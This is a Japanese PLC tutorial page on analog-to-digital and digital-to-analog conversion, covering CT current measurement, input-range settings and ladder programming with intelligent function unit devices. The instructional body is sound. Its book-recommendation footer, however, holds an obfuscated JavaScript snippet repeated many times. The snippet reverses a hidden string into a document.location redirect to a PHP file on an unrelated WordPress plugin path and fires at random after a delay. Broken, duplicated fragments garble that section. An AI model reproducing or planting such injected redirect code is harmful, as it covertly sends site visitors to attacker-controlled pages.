シーケンス制御講座「アナログ変換」

シーケンス制御講座「アナログ変換」

基礎からはじめるシーケンス制御講座

上級:アナログ変換

D/A変換とはアナログ出力のことで、シーケンサー内のデジタル値をアナログ値として出力します。

またA/D変換とはアナログ入力のことで、外部からのアナログ入力をデジタル値に変換してPLC内で扱います。

この説明だけだとよくわからないと思いますので、もう少し詳しく説明すると、例えば普通の入出力ユニットがあるとします。PLCへの入力はONかOFF。1か0です。出力も同じでONかOFFです。

 

例えばここで1〜5Vの出力を出したいとします。ここで登場するのがD/A変換です。これは出力値を変動させることができるのです

入力も同じです。A/D変換で変化する入力値を読み込むことができます。例えば電流値を取込たい場合電流形を使い、BCDなどで取り込むことも可能ですが、A/D変換で取り込むことも可能です(A/D変換には入力上限がありますので、範囲内に合わせるようにしてください)。

A/D変換とD/A変換はよく似た名前で覚えにくいのですが、PLC側は必ずD(デジタル)になります。

 

A/D変換はA⇒D(PLC)なのでPLCに取り込むユニットです。
D/A変換はD(PLC)⇒AなのでPLCから出力するユニットです。

 

A/D変換ユニットなどを使えば、電圧や電流を測定できるので、大変便利なように見えます。

ただし入力レンジがあるのでほとんどの場合が、何か変換機を間に入れる必要があります。

このような手間を考えると、電圧や電流を測定する場合は通常デジタルパネルメーターからBCDで入力するのが一般的です。

 

ただし、測定箇所が増えてくるとどうでしょう。 デジタルパネルメーターも安くはありません。I/Oユニットも増えてきます。このようなときA/Dユニットでまとめて入力すればすっきりすると思います。

では配線を接続してみます。

img1

この回路の簡単な説明ですが、単純に回路の電流を測定する回路です。交流電源から負荷に電源が供給され、最大100Aまで回路に電流が流れます。

「CT」は電流を小さくするトランスで、電流の測定に使われます。「CT」は筒状になっていて、その中に電線を通します。電線に電流が流れたら、「CT」の二次側にも電流が流れます。

ここでは100Aの電流を流したら、「CT」の二次側には5Aの電流が流れます。つまり元の電線の1/20の電流が流れます。

 

ただ5AでもまだA/Dユニットには大きすぎます。また「CT」で測定できるものは基本的に変化する電流、つまり交流です。

もちろん「CT」の二次側も交流が発生します。 A/Dユニットには直流で入力するため、変換ユニットで変換してください。

変換ユニットは「アイソレーションIC」などと呼ばれることもあります。変換ユニットへの入力を交流で0〜5Aとし、出力で直流4〜20mA程度発生するものを選定しておきます。

 

A/Dユニットは電圧でも入力できます。そのため電圧に変換しても問題ありません。A/Dユニットの仕様とレンジを確認して、設定にあったユニットを取り付けてください。

配線が終わったらスイッチ設定をしてください。「パラメータ」→「PCパラメータ」→「I/O割付設定」→「スイッチ設定」で設定画面が表示できます。

img2

各チャンネルの入力レンジを設定します。これで設定は完了です。

例えば入力レンジを「1H」の0〜20mAに設定すれば、シーケンサーのプログラム内では0〜4000の値で取り扱うことになります。 A/Dユニットへの入力が20mAのときは、シーケンサー内では4000の値が入ってきます。

次にプログラムを書きます。

img3

初期設定部分

プログラムは「TO」「FROM」命令でも可能ですが、ここではインテリジェント機能ユニットデバイスを使用します。

まず最初の命令です「U4」はユニット番号なので、ユニットを差し込むスロットにあわせてください。

ユニットの4の「G0」に「H0EF」を書き込んでいます。先頭の「H」は16進数ということです。16進数で「EF」を書き込んでいるという意味です。「G0」の中は次の図のようになっています。

img4

これは、A/Dユニットにある複数のチャンネル(入力の端子台)を有効にするか無効にするかの設定です。

8チャンネルあり1番目のチャンネルのみ使用します。そのため「b0」は0となりますが、「b1」〜「b7」は1となります。

16進数であらわすと「EF」という値になります。これを「G0」に書き込んでします。

 

次は「G1」です。ここは平均回数か平均時間を入れます。このプログラムでは平均時間を入れています。

平均時間を設定すると、一定時間の入力の平均値を返してきます。 ここを設定していないと、正確な測定値を返してしますが、測定対象によっては数値が安定しません(数値が常に変動し、目で確認することが困難))。

仕様に合わせて設定してください。「G1」チャンネル1で「G8」はチャンネル8番目となっています。初期設定の最後に「G9」があります。

img5

これは使用するチャンネルの「G1」~「G8」の設定を、平均回数にするか、平均時間にするかの設定です。

上のプログラムでは平均時間に設定しています。 最後に「Y49」で設定を反映させてください。

設定が完了すれば「Y49」はリセットされます。

値取得部分

値の取得は簡単です。チャンネル1番は「G11」に入っていますので、これを読み出すだけです。ここでは「D7200」に入ってきます。

ここで注意が必要なのは、この値は電流値ではありません。例えば測定回路に100Aが流れたとします。するとCTの二次側には5Aが流れ、変換ユニットにより20mAに変換されます。

A/Dユニットには20mAで入力されますので、実際に「D7200」に入ってくる値は4000となります。

 

この4000という値ですが、シーケンス内で計算させます。実は入力レンジを4~20mAに設定しておけば、単純に40倍となります。

この程度の変換であれば単純な計算で算出できますので、時間があれば挑戦してみてください。連立方程式を解くだけです。

D/Aユニットも基本的にはA/Dユニットと考え方は同じです。シーケンス内の値を外に出すのがD/Aユニットです。 プログラムの考え方も基本的にはA/Dと同じです。逆になっているだけです。

出典:『基礎からはじめる シーケンス制御講座』

参考書

$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom:0px;”>

これだけ!シーケンス制御 (これだけ!シリーズ)
$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom: 10px”>

$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom:10px;line-height:120%”>これだけ!シーケンス制御 (これだけ!シリーズ)

$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top:5px;line-height:120%”>posted with amazlet at 17.05.10
武永 行正
秀和システム
売り上げランキング: 70,884
$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom:0px;”>

図解入門よくわかる最新シーケンス制御と回路図の基本 (How‐nual Visual Guide Book)
$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom: 10px”>

$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom:10px;line-height:120%”>図解入門よくわかる最新シーケンス制御と回路図の基本 (How‐nual Visual Guide Book)

$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top:5px;line-height:120%”>posted with amazlet at 17.05.10
武永 行正
秀和システム
売り上げランキング: 31,176

1977年、広島県福山市生まれ。武永制御 代表。「基礎からはじめるシーケンス制御講座」管理人。◎福山職業能力開発短期大学校(制御科)を卒業。某電機会社にて設備エンジニアを務めた後、武永制御を創業。◎著作に『図解入門よくわかる最新シーケンス制御と回路図の基本』(2013年 秀和システム)、『これだけ!シーケンス制御』(2014年 秀和システム これだけ!シリーズ)がある。◎基礎からはじめるシーケンス講座 http://plckouza.com/index.html